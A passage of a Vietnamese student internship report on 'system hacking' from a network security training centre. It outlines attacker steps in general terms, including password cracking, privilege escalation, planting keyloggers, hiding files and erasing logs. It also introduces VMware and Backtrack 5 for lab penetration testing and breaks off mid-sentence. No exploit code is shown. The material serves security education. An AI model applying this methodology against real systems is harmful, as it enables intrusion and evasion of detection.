1

TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG

VÀ AN NINH MẠNG QUỐC TẾ ATHENA

---o0o---

BÁO CÁO THỰC TẬP

SYSTEM HACKING

GĐTT: Võ Đỗ Thắng

SVTT: Mai Hoàng Phong

Tp HCM, tháng 4 năm 2015

2

LỜI NÓI ĐẦU

***

Theo thống kê của công ty Bkav, từ đầu năm 2013 đến nay, tại Việt Nam đã có 2.405

website của các cơ quan, doanh nghiệp bị xâm nhập, trung bình mỗi tháng có khoảng

300 website bị tấn công. Ông Vũ Ngọc Sơn, Phó chủ tịch phụ trách Nghiên cứu phát

triển của Bkav cho biết, các cơ quan doanh nghiệp bị tấn công gần như là đầy đủ, từ ít

nghiêm trọng đến nghiêm trọng và rất nghiêm trọng (nhằm đánh cắp các tài liệu mật) và các

mã độc này nhắm cả vào Bộ Công An, Bộ Quốc phòng, ngân hàng, các cơ quan đơn vị nghiên

cứu, các doanh nghiệp Theo nhìn nhận của Bkav, đã có những chiến dịch tấn công, phát tán

mã độc có chủ đích vào Việt Nam. Trong đó, bản thân các vụ tấn công trên mạng và các vụ

xâm nhập hệ thống công nghệ thông tin là nhằm do thám, trục lợi, phá hoại dữ liệu, ăn cắp

tài sản, cạnh tranh không lành mạnh và một số vụ mất an toàn thông tin số khác đang gia

tăng ở mức báo động về số lượng, đa dạng về hình thức, tinh vi hơn về công nghệ.

Hiện nay, các thiết bị như máy tính PC, laptop, đều có kết nối mạng nội bộ hoặc kết nối

Internet . Trên các thiết bị này, hầu hết cài đặt các phần mềm ứng dụng như IE, Microsoft Office,

Adobe Reader ,... và chạy hệ điều hành như Windows XP, Windows 7

Tuy nhiên, các ứng dụng này đều có những lổ hổng mà các hacker có thể xâm nhập và khai

thác. Quá trình khai thác diễn ra âm thầm mà hầu hết các nạn nhân không thể nào biết được cho

dù thường xuyên update các chương trình diệt virus như nhiều người suy nghĩ.

Trong thời gian vừa qua, với sự hướng dẫn của trung tâm Athena cùng những tài

liệu đã nghiên cứu qua, một phần nào đó tôi đã nắm được các phương pháp mà các hacker

(Nói riêng Hacker Việt Nam) hay dùng để xâm nhập hệ thống qua các lổ hổng nêu trên và

tổng hợp lại để chúng ta cùng tìm ra phương hướng giải quyết.

Tôi xin cam kết, kết quả đạt được là do tôi tự thực hiện dưới sự hướng dẫn của thầy Võ

Đỗ Thắng.

3

LỜI CẢM ƠN KHOA CÔNG NGHỆ THÔNG TIN

TRƯỜNG ĐẠI HỌC CÔNG NGHIỆP TPHCM

***

Em xin chân thành cảm ơn trường Đại Học Công Nghiệp TPHCM và khoa Công

Nghệ Thông Tin đã tạo điều kiện cho em hoàn thành tốt đợt Thực Tập này. Trong đợt thực

tập này đã cho em những kinh nghiệm quý báu. Những kinh nghiệm này sẽ giúp em hoàn

thiện hơn trong công việc và môi trường làm việc sau này.

Mặc dù em đã cố gắng hoàn thành báo cáo thực tập này với tất cả nổ lực của bản thân.

Nhưng do trình độ hiểu biết và kinh nghiệm thực tế có hạn nên chắc chắn không thể tránh

khỏi những thiếu sót nhất định. Em rất mong nhận được sự đóng góp, chia sẻ để em có thể

làm tốt hơn nữa.

Một lần nữa em xin chân thành cảm ơn.

TPHCM, ngày tháng 04 năm 2015

Sinh viên thực tập

Mai Hoàng Phong

4

LỜI CẢM ƠN TRUNG TÂM ATHENA

***

Em xin cảm ơn giám đốc Trung Tâm Quản Trị Mạng và An Ninh Mạng Quốc Tế

Athena, cùng các anh chị trong trung tâm. Đặc biệt, em xin chân thành cảm ơn thầy Võ Đỗ

Thắng đã nhiệt tình giúp đỡ và hướng dẫn em trong suốt thời gian thực tập. Thầy đã tạo

mọi điều kiện thuận lợi, cung cấp nhũng kiến thức cần thiết cũng như đóng góp những ý

kiến quý báu để hoàn thành tốt bài báo cáo này.

Em cũng xin gửi lời cám ơn đến các anh chị, bạn bè đã truyền đạt kinh nghiệm và

tạo điều kiện cho em hoàn thành đề tài này.

Trong quá trình thực hiện đề tài không thể không có những sai sót, mong thầy cô

tại trung tâm ATHENA và các bạn thẳng thắn góp ý đề em rút kinh nghiệm trong các công

trình tìm hiểu, phát triển sau này.

Một lần nữa em xin chân thành cảm ơn.

TPHCM, ngày tháng 04 năm 2015

Sinh viên thực tập

Mai Hoàng Phong

5

GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC TẬP

***

Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được thành lập

từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng động, nhiệt huyết và

kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần vào công cuộc thúc đẩy tiến trình

đưa công nghệ thông tin là ngành kinh tế mũi nhọn, góp phần phát triển nước nhà.

Lĩnh vực hoạt động chính:

- Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên sâu quản trị

mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các hãng nổi tiếng

như Microsoft, Cisco, Oracle, Linux LPI , CEH,... Song song đó, trung tâm ATHENA còn có

những chương trình đào tạo cao cấp dành riêng theo đơn đặt hàng của các đơn vị như Bộ

Quốc Phòng, Bộ Công An , ngân hàng, doanh nghiệp, các cơ quan chính phủ, tổ chức tài chính..

- Sau gần 10 năm hoạt động,nhiều học viên tốt nghiệp trung tâm ATHENA đã là

chuyên gia đảm nhận công tác quản lý hệ thống mạng, an ninh mạng cho nhiều bộ ngành như

Cục Công Nghệ Thông Tin - Bộ Quốc Phòng , Bộ Công An, Sở Thông Tin Truyền Thông các

tỉnh, bưu điện các tỉnh,

- Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình hợp

tác và trao đổi công nghệ với nhiều đại học lớn như đại học Bách Khoa Thành Phố Hồ CHính

Minh, Học Viện An Ninh Nhân Dân( Thủ Đức), Học Viện Bưu Chính Viễn Thông, Hiệp hội an

toàn thông tin (VNISA), Viện Kỹ Thuật Quân Sự ,...

Đội ngũ giảng viên :

- Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại học hàng đầu

trong nước .... Tất cả giảng viên ATHENA đều phải có các chứng chỉ quốc tế như MCSA, MCSE,

CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc tế (Microsoft Certified Trainer).Đây là các

chứng chỉ chuyên môn bắt buộc để đủ điều kiện tham gia giảng dạy tại trung tâm ATHENA.

- Bên cạnh đó,Các giảng viên ATHENA thường đi tu nghiệp và cập nhật kiến thức công nghệ

mới từ các nước tiên tiến như Mỹ , Pháp, Hà Lan, Singapore,... và truyền đạt các công nghệ mới

này trong các chương trình đào tạo tại trung tâm

6

TRUNG TÂM ĐÀO TẠO QUẢN TRỊ MẠNG VÀ AN NINH MẠNG QUỐC TẾ ATHENA

Liên hệ:

- Cơ sở 1:

92 Nguyễn Đình Chiểu, Phường Đa Kao, Q1, TPHCM

Điện thoại: - 0907879477

- 0943230099

- (08)38244041

Gần ngã tư Đinh Tiên Hoàng - Nguyễn Đình Chiểu

- Cơ sở 2:

2 Bis Đinh Tiên Hoàng, Phường Đa Kao, Q1, TPHCM

Điện thoại: - 0943200088

- (08)22103801

Cạnh sân vận động Hoa Lư - Cách đài truyền hình Tp HTV 50 mét

- Website: http://athena.edu.vn

http://athena.com.vn

- E-mail : support@athena.edu.vn

tuvan@athena.edu.vn

7

NHẬN XÉT CỦA KHOA

***

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

TPHCM, ngày ... tháng ... năm 2014

8

NHẬN XÉT CỦA CÔNG TY THỰC TẬP

***

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

TPHCM, ngày ... tháng ... năm 2014

Giám đốc

9

NHẬN XÉT CỦA GIẢNG VIÊN HƯỚNG DẪN

***

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

………………………………………………………………………………………………………

TPHCM, ngày ... tháng ... năm 2014

Giảng viên hướng dẫn

10

MỤC LỤC

***

LỜI NÓI ĐẦU .............................................................................................................. 1

LỜI CẢM ƠN KHOA CÔNG NGHỆ THÔNG TIN ............................................... 2

LỜI CẢM ƠN TRUNG TÂM ATHENA .................................................................. 3

GIỚI THIỆU CHUNG VỀ CÔNG TY THỰC TẬP ................................................. 4

NHẬN XÉT CỦA KHOA ........................................................................................... 6

NHẬN XÉT CỦA CÔNG TY THỰC TẬP ............................................................... 7

NHẬN XÉT CỦA GIẢNG VIÊN HƯỚNG DẪN .................................................... 8

PHẦN 1: GIỚI THIỆU .............................................................................................. 11

1. Giới thiệu về System hacking............................................................................ 11

2. Các lỗ hổng thường khai thác trong hệ điều hành Windows............................ 11

3. Quá trình tấn công vào một hệ thống................................................................. 13

PHẦN 2: TIẾN TRÌNH NGHIÊN CỨU VÀ THỰC HÀNH................................. 15

Chương 1: VMware và ảo hóa hệ điều hành ....................................................... 15

1. Giới thiệu VMware........................................ 1Error! Bookmark not defined.

2. Khái quát về VMware và máy ảo....................................................................... 16

Chương 2: Sử dụng Backtrack để khai thác xâm nhập trong mạng LAN ........ 19

1. Hệ điều hành Backtrack 5 R3 ............................................................................. 19

2. Phần mềm Metasploit.......................................................................................... 20

Sử dụng Metasploit Framework ............................................................................. 21

2.1 Chọn module exploit: Lựa chọn chương trình, dịch vụ lỗi mà Metasploit

có hỗ trợ để khai thác............................................................................................ 21

2.2 Cấu hình Module exploit đã chọn ................................................................. 21

2.3 Verify những options vừa cấu hình .............................................................. 21

2.4 Lựa chọn target ............................................................................................... 21

2.5 Lựa chọn payload ........................................................................................... 21

2.6 Thực thi exploit............................................................................................... 21

3. Sơ đồ tổng quan hệ thống mạng LAN ............................................................... 22

4. Xâm nhập và khai thác Windows XP ................................................................ 22

4.1 Khai thác lổ hỏng Ms10-042 ......................................................................... 22

11

4.2 Khai thác lổ hỏng Ms12-004 ......................................................................... 27

4.3 Khai thác lổ hỏng file PDF qua Adobe Reader 9.x ..................................... 28

4.4 Khai thác lỗ hỏng Ms12-027 ......................................................................... 33

4.5 Khai thác thông tin sau khi đã tấn công ....................................................... 37

Chương 3: XÂY DỰNG HONEYPOT KHAI THÁC XÂM NHẬP LỖ

HỔNG TỪ XA QUA MẠNG INTERNET .......................................................... 39

1. Máy Chủ Ảo (VPS) ............................................................................................. 39

1.1 Định nghĩa ....................................................................................................... 39

1.2 Đặc điểm về thông số VPS ............................................................................ 39

2. Honeypot .............................................................................................................. 40

3. Sơ đồ tổng quan sử dụng Honeypot để xâm nhập từ xa qua Internet .............. 40

4. Tấn công qua Internet.......................................................................................... 41

4.1 Các lỗi bảo mật ............................................................................................... 41

4.2 Cách tấn công.................................................................................................. 43

4.3 Phương pháp khắc phục lỗ hổng ................................................................... 44

PHẦN 3: TỔNG KẾT ................................................................................................ 45

DANH MỤC TÀI LIỆU THAM KHẢO ................................................................. 46

12

PHẦN 1: GIỚI THIỆU

1. Giới thiệu về System hacking

System hacking bao gồm những kỹ thuật lấy username, password dựa vào phần mềm

cài trên hệ thống hoặc tính dễ cài đặt và chạy các dịch vụ từ xa của hệ điều hành Windows.

Nâng quyền trong hệ thống, sử dụng keyloger để lấy thông tin, xóa những log file hệ thống.

Một khi đã xâm nhập vào hệ thống, Hacker có thể thực hiện mọi thứ trên máy tính đó, gây

ra những hậu quả vô cùng nghiêm trọng cho các cá nhân, tổ chức.

2. Các lỗ hổng thường khai thác trong hệ điều hành Windows

- Như chúng ta đã biết, Windows là hệ điều hành phổ biến và được sử dụng rộng rãi

nhất trên thế giới hiện nay. Và với việc được tạo nên bằng một cấu trúc lệnh có thể nói

khổng lồ như vậy thì việc sai sót lỗi sẽ là chuyện không tránh khỏi. Việc chiếm lĩnh hàng

đầu của hệ điều hành này cũng là nguyên nhân khiến các hacker tìm kiếm những lổ hỏng

bảo mật để tấn công nhằm kiểm soát hay đánh cắp thông tin.

- Hiện nay các lỗ hổng bảo mật được phát hiện càng nhiều trong các hệ điều hành, các

Web Server hay các phần mềm khác,... Và các hãng sản xuất luôn cập nhật các lỗ hổng và đưa

ra các phiên bản mới sau khi đã vá lại các lỗ hổng của các phiên bản trước. Và luôn theo một

trình tự:

1. Xuất hiện một lỗ hổng có thể bị khai thác bằng các công nghệ hiện có.

2. Kẻ tấn công phát hiện lỗ hổng.

3. Kẻ này lập tức tiến hành viết và phát tán công cụ khai thác lỗ hổng này.

4. Hãng sản xuất đồng thời phát hiện lỗi và lập tức tìm cách sửa chữa.

5. Lỗ hổng được công bố ra ngoài.

6. Các phần mềm anti-virus được cập nhật thông tin để phát hiện khi có các đoạn mã tìm

cách khai thác lỗ hổng này.

7. Hãng sản xuất hoàn thành bản vá.

8. Hãng hoàn tất phát hành bản vá lỗi đến tất cả khách hàng.

- Do đó, người sử dụng phải luôn cập nhật thông tin và nâng cấp phiên bản cũ mà mình

đang sử dụng nếu không các Hacker sẽ lợi dụng điều này để tấn công vào hệ thống. Bên cạnh

đó nhà sản xuất tìm kiếm những nhân tài máy tính để giúp những thiết bị máy tính sử dụng

tránh được các cuộc tấn công mạng, virus cũng như tìm kiếm được khe hở lớn làm cản trở

nguy cơ máy tính bị tấn công. Nếu lỗi đủ lớn và có tầm ảnh hưởng rộng. Tuy nhiên, một sự

13

thật là các mối đe dọa mạng vẫn đang ngày càng phát triển nhanh hơn so với chu trình cập nhật

và đổi mới.

- Tội phạm mạng thường sử dụng các lỗ hổng trong các mã chương trình để truy cập

vào các dữ liệu và tài nguyên trên máy tính bị lỗi bảo mật. Các chương trình độc hại được

thiết kế đặc biệt để khai thác các lỗ hổng này, được gọi là kỹ thuật exploit, đang ngày càng

phổ biến nhanh chóng.

- Ngoài các nguyên nhân chủ quan như sự bất cẩn khi sử dụng của người dùng (click vào

đường link lạ, download các phần mềm độc hại), các lỗi này là một trong những khe hở

chính mà tin tặc thường tập trung khai thác để xâm nhập vào các hệ thống máy móc - từ các

máy chủ đến các máy cá nhân của người dùng cuối. Nếu lỗ hổng này thuộc về một phần mềm

không phổ biến, chỉ phục vụ vài tác vụ đơn giản và không có vai trò quan trọng trong hệ

thống, hiển nhiên hiểm họa về bảo mật vẫn có nhưng không nghiêm trọng. Nhưng hệ

thống phần mềm càng phức tạp, đồ sộ thì hiển nhiên việc kiểm soát sự xuất hiện của những

lỗi này càng khó - bất kể các kĩ sư thiết kế có trình độ cao đến đâu. Và chính những phần

mềm này lại thường chiếm vai trò chủ chốt, cũng như tác động đến nhiều ngóc ngách của

hệ thống. Nhờ len lỏi qua kẽ hở tạo ra bởi lỗi của những phần mềm này, kẻ xấu có thể thực

hiện những thay đổi nhất định lên máy móc của người dùng, hay nắm được quyền điều

khiển, truy cập các thông tin nhạy cảm.

- Những sản phẩm của Microsoft thường gặp phải các lỗ hổng bảo mật như HĐH

Windows, Internet Explorer, Windows Server, Microsoft Exchange và .NetFramework.

14

3. Quá trình tấn công vào một hệ thống

- Trước tiên ta sẽ tìm hiểu tổng quát một quá trình tấn công hệ thống. Mục tiêu phía

trước của chúng ta là một hệ thống máy tính. Các bước để tấn công, đánh sập nó, có thể được

liệt kê như hình vẽ bên cạnh. Nó gồm 6 công đoạn như sau:

Quá trình tấn công vào một hệ thống

- Enumerate (liệt kê): Trích ra tất cả những thông tin có thể về user trong hệ thống.

Sử dụng phương pháp thăm dò SNMP để có được những thông tin hữu ích, chính xác hơn.

- Crack: Công đoạn này có lẽ hấp dẫn nhiều Hackernhất. Bước này yêu cầu chúng ta bẽ

khóa mật khẩu đăng nhập của user. Hoặc bằng một cách nào khác, mục tiêu phải đạt tới là

quyền truy cập vào hệ thống.

- Escalste (leo thang): Nói cho dễ hiểu là chuyển đổi giới hạn truy cập từ user binh

thường lên admin hoặc user có quyền cao hơn đủ cho chúng ta tấn công.

- Execute (thực thi): Thực thi ứng dụng trên hệ thống máy đích. Chuẩn bị trước malware,

keylogger, rootkitđể chạy nó trên máy tính tấn công.

- Hide (ẩn file): Những file thực thi, file soucecode chạy chương trình

Cần phải được làm ẩn đi, tránh bị mục tiêu phát hiện tiêu diệt.

- Tracks (dấu vết): Tất nhiên không phải là để lại dấu vết. Những thông tin có liên quan

đến bạn cần phải bị xóa sạch, không để lại bất cứ thứ gì. Nếu không khả năng bạn bị phát

15

hiện là kẻ đột nhập là rất cao.

- Tóm lại, quá trình tấn công hệ thống (System hacking) là bước tiếp theo sau quá

trình khảo sát, thu thập thông tin của mục tiêu cần tấn công bằng những kỹ thuật như

Footprinting, Social engineering, Enumeration, Google Hacking đã được áp dụng cho

mục đích truy tìm thông tin.

- Khi hệ thống mục tiêu đã được xác định, chúng ta bắt đầu đi vào quá trình tấn công

hệ thống thật sự. Ta phải tiến hành những kỹ thuật khác nhau để làm sao vào được trong hệ

thống đó, thực hiện những việc mà mình mong muốn, như xóa dữ liệu, chạy chương trình

trojan, keylogger

16

PHẦN 2: TIẾN TRÌNH NGHIÊN CỨU VÀ THỰC HÀNH

Chương 1: VMware và ảo hóa hệ điều hành

1. Giới thiệu VMware

- VMware Workstation là một phần mềm ảo hóa desktop mạnh mẽ dành cho các nhà

phát triển/kiểm tra phần mềm và các chuyên gia IT cần chạy nhiều HĐH một lúc trên một

máy PC. Người dùng có thể chạy các HĐH Windows, Linux, Netware hay Solaris x86

trên các máy ảo di động mà không cần phải khởi động lại hay phân vùng ổ cứng. VMware

Workstation cung cấp khả năng hoạt động tuyệt vời và nhiều tính năng mới như tối ưu hóa

bộ nhớ và khả năng quản lý các thiết lập nhiều lớp. Các tính năng thiết yếu như mạng ảo,

chụp ảnh nhanh trực tiếp, kéo thả, chia sẻ thư mục và hỗ trợ PXE khiến VMware Workstation

trở thành công cụ mạnh mẽ nhất và không thể thiếu cho các nhà doanh nghiệp phát triển tin

học và các nhà quản trị hệ thống.

- Với hàng triệu khách hàng và hàng loạt các giải thưởng quan trọng, VMware

Workstation đã được chứng minh là một công ghệ giúp tăng năng suất và sự linh họat trong

công việc. Đây là một công cụ không thể thiếu cho các nhà phát triển phần mềm và các

chuyên gia IT trên toàn thế giới.

- VMware Workstation họat động bằng cách cho phép nhiều HĐH và các ứng dụng

của chúng chạy đồng thời trên một máy duy nhất. Các HĐH và ứng dụng này được tách ra vào

trong các máy ảo. Những máy ảo này cùng tồn tại trên một phần cứng duy nhất. Các layer ảo

của VMware sẽ kết nối các phần cứng vật lý với các máy ảo, do đó mỗi máy ảo sẽ có CPU,

bộ nhớ, các ổ đĩa, thiết bị nhập/xuất riêng.

- Các tính năng cho người dùng

+ Thiết lập và thử nghiệm các ứng dụng đa lớp, cập nhật ứng dụng và các miếng vá cho

HĐH chỉ trên một PC duy nhất.

+ Dễ dàng phục hồi và chia sẻ các môi trường thử nghiệm được lưu trữ; giảm thiểu

các thiết lập trùng lặp và thời gian thiết lập.

+ Làm cho việc học tập trên máy tính thuận lợi hơn do sinh viên luôn đuợcsử dụng

máy với tình trạng "sạch sẽ" và thử nghiệm với nhiều HĐH, ứng dụng cá các công cụ trên

những máy ảo an tòan và độc lập.

+ Chạy các bản demo phần mềm với các thiết lập phức tạp hoặc đa lớp trên một

chiếc laptop.

17

+ Tăng tốc độ giải quyết các rắc rối của người dùng cuối dựa trên một thư viện các máy

ảo được thiết lập sẵn.

Những tính năng chính:

- Hỗ trợ nhiều màn hình: Bạn có thể thiết lập để một VM trải rộng ra nhiều màn

hình, hoặc nhiều VM, với mỗi VM trên một màn hình riêng biệt.

- Hỗ trợ các thiết bị USB 2.0: Bây giờ bạn đã có thể sử dụng các thiết bị ngọai vi

yêu cầu tốc độ làm việc cao trên VM, như máy MP3 và các thiết bị lưu trữ di động khác.

- VM Record/Replay: Bạn có thể sử dụng tính năng này để thu lại các hoạt động của

VM và được đảm bảo là sẽ tái lập lại tình trạng của VM chính xác 100%.

- Integrated Virtual Debugger: Workstation được tích hợp Visual Studio và

Eclipse nên bạn có thể trực tiếp sử dụng, chạy và vá các lỗ hổng của các chương trình trong

một VM từ một IDE yêu thích

- Automation APIs (VIX API 2.0): Bạn có thể viết script hay chương trình để

VM tự động thực hiện việc kiểm tra.

2. Khái quát về VMware và máy ảo

a. Các tiện ích của VMware:

VMware giúp giả lập máy tính ảo trên một máy tính thật. Khi cài đặt VMware lên, ta

có thể tạo nên các máy ảo chia sẻCPU, RAM, Card mạng với máy tính thật. Điều này cho phép

xây dựng nên một hệ thống với một vài máy tính được nối với nhau theo một mô hình nhất

định, người sử dụng có thể tạo nên hệ thống của riêng mình, cấu hình theo yêu cầu của bài học.

b. Cách tạo nên các máy ảo từ VMware:

Để sử dụng VMware đầu tiên chúng ta cần tạo nên một máy ảo, nơi mà chúng ta sẽ dùng để

cài đặt nên các hệ điều hành. Chúng ta có thể tuỳ chọn dung lượng ổ cứng, dung lượng RAM,

cách kết nối mạng của máy ảo Việc tiếp theo cần làm là cài đặt nên một hệ điều hành trên

máy ảo đó. Hiện tại, VMware hỗ trợ cài đặt rất nhiều dạng hệ điều hành. Chúng ta có thể cài

các phiên bản của Windows, Linux, Unix trên các máy ảo VMware. Việc cài đặt hệ điều hành

trên máy ảo hoàn toàn tương tự như cách cài đặt trên các máy thật.

c. Chia sẻ tài nguyên của các máy ảo:

Chia sẻ CPU và RAM: Các máy ảo sẽ chia sẻ CPU và RAM của máy tính thật. Để đảm bảo hệ

thống có thể chạy tốt, yêu cầu máy tính thật phải có cấu hình tương đối cao, khoảng 1GB RAM

để có thể chạy đồng thời 4, 5 máy ảo.

Chia sẻ ổ cứng: Khi tạo ra các máy ảo, chúng ta sẽ tạo ra một ổ cứng dành riêng cho máy ảo

nằm trên máy thật. Ổ cứng ảo này được tạo trên vùng đĩa trống của ổ đĩa thật, do đó không ảnh

18

hưởng đến các dữ liệu đang có trên ổ đĩa thật. Chúng ta có thể tuỳ chọn dung lượng của ổ cứng

này, có thể ấn định ngay dung lượng hoặc cũng có thể để dung lượng của ổ cứng này là động,

sẽ thay đổi tuỳ theo quá trình sử dụng của chúng ta sau này

Chia sẻ card mạng: Sau khi cài đặt lên, VMware sẻ tạo nên 2 card mạng VMware 1 và VMware

8 trên máy thật và máy thật có thể sử dụng 2 card mạng này để kết nối với các máy ảo. Khi lựa

chọn cấu hình mạng cho các máy ảo, ta có thể chọn một trong các chế độ sau:

Bridged networking: Card mạng của máy ảo sẽ được gắn trực tiếp với card mạng

của máy thật (sử dụng switch ảo VMnet0). Lúc này, máy ảo sẽ đóng vai trò như một máy trong

mạng thật, có thể nhận IP từ DHCP của Router vật lý, hoặc đặt IP tĩnh cùng lớp với mạng

ngoài để giao tiếp với các máy ngoài mạng hoặc lên Internet.

NAT: Máy ảo được cấu hình NAT sẽ sử dụng IP của máy thật để giao tiếp với mạng

ngoài. Các máy ảo được cấp địa chỉ IP nhờ một DHCP ảo của VMware. Lúc này, các máy ảo sẽ

kết nối với máy thật qua switch ảo VMnet8, và máy thật sẽ đóng vai trò NAT server cho các

máy ảo.

Host-only Networking: Khi cấu hình máy ảo sử dụng host-only networking, máy

ảo sẽ được kết nối với máy thật trong một mạng riêng thông qua Switch ảo VMnet1. Địa chỉ

của máy ảo và máy thật trong mạng host-only có thể được cấp bởi DHCP ảo gắn liền với Switch

ảo Vmnet1 hoặc có thể đặt địa chỉ IP tĩnh cùng dải để kết nối với nhau

Ngoài các kết nối trên, ta có thể sử dụng các switch ảo trong VMware để kết nối các

máy ảo thành một hệ thống như mong muốn. Khi cài đặt lên, VMware tạo sẵn cho chúng ta 10

Switch ảo từ VMnet0 đến VMnet9. Ngoài các Switch ảo VMnet0 (dùng cho mạng Bridged

Networking), VMnet8 (dùng cho mạng Nat Networking) và VMnet1 (dùng cho mạng Host-

Only Networking), chúng ta còn 7 Switch ảo khác để thực hiện việc kết nối các máy ảo. Chúng

ta có thể đặt IP động trên các máy nối với các Switch này để nhận DHCP ảo, hoặc có thể đặt IP

tĩnh cùng dải cho các máy này đảm bảo chúng kết nối được với nhau.

Chia sẻ ổ đĩa CD-ROM: Các máy ảo có thể sử dụng ổ CD-ROM của máy thật. Ngoài ra, ta có thể

dùng một file ISO để đưa vào ổ CD-ROM của máy ảo, lúc này máy ảo sẽ nhận file ISO giống như

một đĩa CD-ROM trong ổ đĩa của mình.

d. Sử dụng Snapshot

Snapshot một máy ảo cho phép ta lưu lại trạng thái của máy ảo tại thời điểm đó. Snapshot

sẽ lưu lại thông tin về ổ cứng, Ram và các Setting trên máy ảo. Sau khi lưu snapshot, chúng ta

có thể quay trở lại trạng thái của máy ảo bất cứ lúc nào.

VMware cho phép chúng ta lưu nhiều snapshot của máy ảo, vì thế người dùng có thể sử

19

dụng một máy ảo vào nhiều ngữ cảnh khác nhau, tiết kiệm thời gian cho việc cấu hình. Chẳng

hạn với một máy ảo A, trong một bài lab ta muốn nó là một máy chủ Domain Controller,

nhưng trong bài lab khác ta muốn xấy dựng nó thành một máy chủ ISA. Để giải quyết vấn đề

này, chúng ta có thể lưu snapshot của máy A tại thời điểm nó là domain controller, sau đó cấu

hình nó thành một máy chủ ISA và lưu snapshot. Khi cần sử dụng máy ảo A với vai trò là một

Domain Controller hay ISA, ta sẽ dùng trình quản lý Snapshot Manager để chuyển tới trạng

thái mong muốn.

20

Chương 2

SỬ DỤNG BACKTRACK ĐỂ KHAI THÁC XÂM NHẬP TRONG MẠNG LAN

1. Hệ điều hành Backtrack 5 R3

Backtrack là một bản phân phối dạng Live DVD của Linux, được phát triển để thử

nghiệm xâm nhập. Backtrack là sự hợp nhất giữa 3 bản phân phối khác nhau của Linux về

thâm nhập thử nghiệm IWHAX, WHOPPIX, và Auditor. Trong phiên bản hiện tại của nó

(5), Backtrack được dựa trên phiên bản phân phối Linux Ubuntu 11.10.

Công cụ Backtrack đã có lịch sử phát triển khá lâu qua nhiều bản linux khác nhau.

Phiên bản hiện nay sử dụng bản phân phối Slackware linux (Tomas M.

(www.slax.org)). Backtrack liên tục cập nhật các công cụ, drivers,... Hiện tại Backtrack

có trên 300 công cụ phục vụ cho việc nghiên cứu bảo mật. Backtrack là sự kết hợp giữa 2 bộ

công cụ kiểm thử bảo mật rất nổi tiếng là Whax và Auditor.

Backtrack 5 chứa một số công cụ có thể được sử dụng trong quá trình thử nghiệm

thâm nhập của chúng ta. Các công cụ kiểm tra thâm nhập trong Backtrack

5 có thể được phân loại như sau:

- Information gathering: loại này có chứa một số công cụ có thể được sử dụng để

có được thông tin liên quan đến một mục tiêu DNS, định tuyến, địa chỉ e- mail, trang web,

máy chủ mail, và như vậy. Thông tin này được thu thập từ các thông tin có sẵn trên Internet,

mà không cần chạm vào môi trường mục tiêu.

- Network mapping: loại này chứa các công cụ có thể được sử dụng để kiểm tra

các host đang tồn tại, thông tin về OS, ứng dụng được sử dụng bởi mục tiêu, và cũng làm

portscanning.

- Vulnerability identification: Trong thể loại này, chúng ta có thể tìm thấy các

công cụ để quét các lỗ hổng (tổng hợp) và trong các thiết bị Cisco. Nó cũng chứa các công

cụ để thực hiện và phân tích Server Message Block (SMB) và Simple Network Management

Protocol (SNMP).

- Web application analysis: loại này chứa các công cụ có thể được sử dụng trong theo dõi,

giám sát các ứng dụng web.

- Radio network analysis: Để kiểm tra mạng không dây, bluetooth và nhận dạng tần số

vô tuyến (RFID), chúng ta có thể sử dụng các công cụ trong thể loại này.

- Penetration: loại này chứa các công cụ có thể được sử dụng để khai thác các lỗ hổng

21

tìm thấy trong các máy tính mục tiêu.

- Privilege escalation: Sau khi khai thác các lỗ hổng và được truy cập vào các máy tính

mục tiêu, chúng ta có thể sử dụng các công cụ trong loại này để nâng cao đặc quyền của chúng

ta cho các đặc quyền cao nhất.

- Maintaining access: Công cụ trong loại này sẽ có thể giúp chúng ta trong việc duy trì

quyền truy cập vào các máy tính mục tiêu. Chúng ta có thể cần để có được những đặc quyền

cao nhất trước khi các chúng ta có thể cài đặt công cụ để duy trì quyền truy cập.

- Voice Over IP (VOIP): Để phân tích VOIP chúng ta có thể sử dụng các công cụ

trong thể loại này.

- Digital forensics: Trong loại này, chúng ta có thể tìm thấy một số công cụ có thể được

sử dụng để làm phân tích kỹ thuật như có được hình ảnh đĩa cứng, cấu trúc các tập tin, và

phân tích hình ảnh đĩa cứng. Để sử dụng các công cụ cung cấp trong thể loại này, chúng ta

có thể chọn Start Backtrack Forensics trong trình đơn khởi động. Đôi khi sẽ đòi hỏi chúng

